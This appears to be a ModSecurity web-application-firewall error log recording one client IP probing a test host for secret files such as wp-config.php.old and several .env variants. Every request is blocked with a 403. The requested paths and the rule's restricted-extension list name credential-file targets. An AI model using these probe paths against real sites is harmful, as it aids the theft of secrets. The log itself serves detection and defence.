[Sun Mar 22 01:06:12.771190 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php.old&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViUgAAAAc&quot;]
[Sun Mar 22 01:06:12.771426 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /admin/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php.old&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViUgAAAAc&quot;]
[Sun Mar 22 01:06:12.771607 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php.old&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViUgAAAAc&quot;]
[Sun Mar 22 01:06:12.771741 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php.old&quot;] [unique_id &quot;ab8ydL9QSbN48bnz2xViUgAAAAc&quot;]
[Sun Mar 22 01:06:12.864827 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhRAAAAAU&quot;]
[Sun Mar 22 01:06:12.865042 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhRAAAAAU&quot;]
[Sun Mar 22 01:06:12.865174 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhRAAAAAU&quot;]
[Sun Mar 22 01:06:12.887268 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apache.conf&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhRQAAAAU&quot;]
[Sun Mar 22 01:06:12.887673 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apache.conf&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhRQAAAAU&quot;]
[Sun Mar 22 01:06:12.887807 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apache.conf&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhRQAAAAU&quot;]
[Sun Mar 22 01:06:12.932558 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhRwAAAAU&quot;]
[Sun Mar 22 01:06:12.932755 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhRwAAAAU&quot;]
[Sun Mar 22 01:06:12.932881 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhRwAAAAU&quot;]
[Sun Mar 22 01:06:12.954919 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhSAAAAAU&quot;]
[Sun Mar 22 01:06:12.955212 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhSAAAAAU&quot;]
[Sun Mar 22 01:06:12.955411 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhSAAAAAU&quot;]
[Sun Mar 22 01:06:12.955541 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhSAAAAAU&quot;]
[Sun Mar 22 01:06:12.977654 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.dev&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhSQAAAAU&quot;]
[Sun Mar 22 01:06:12.977852 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.dev&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhSQAAAAU&quot;]
[Sun Mar 22 01:06:12.977974 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.dev&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhSQAAAAU&quot;]
[Sun Mar 22 01:06:13.000157 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.local&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhSgAAAAU&quot;]
[Sun Mar 22 01:06:13.000360 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.local&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhSgAAAAU&quot;]
[Sun Mar 22 01:06:13.000485 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.local&quot;] [unique_id &quot;ab8ydNb4J9WjFZPQ70DhSgAAAAU&quot;]
[Sun Mar 22 01:06:13.023766 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.production&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhSwAAAAU&quot;]
[Sun Mar 22 01:06:13.023957 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.production&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhSwAAAAU&quot;]
[Sun Mar 22 01:06:13.024098 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.production&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhSwAAAAU&quot;]
[Sun Mar 22 01:06:13.046225 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.staging&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhTAAAAAU&quot;]
[Sun Mar 22 01:06:13.046441 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.staging&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhTAAAAAU&quot;]
[Sun Mar 22 01:06:13.046563 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.staging&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhTAAAAAU&quot;]
[Sun Mar 22 01:06:13.766514 2026] [:error] [pid 2857386] [client 185.177.72.38:45100] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /api/config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/config/config.yml&quot;] [unique_id &quot;ab8yddb4J9WjFZPQ70DhbAAAAAU&quot;]
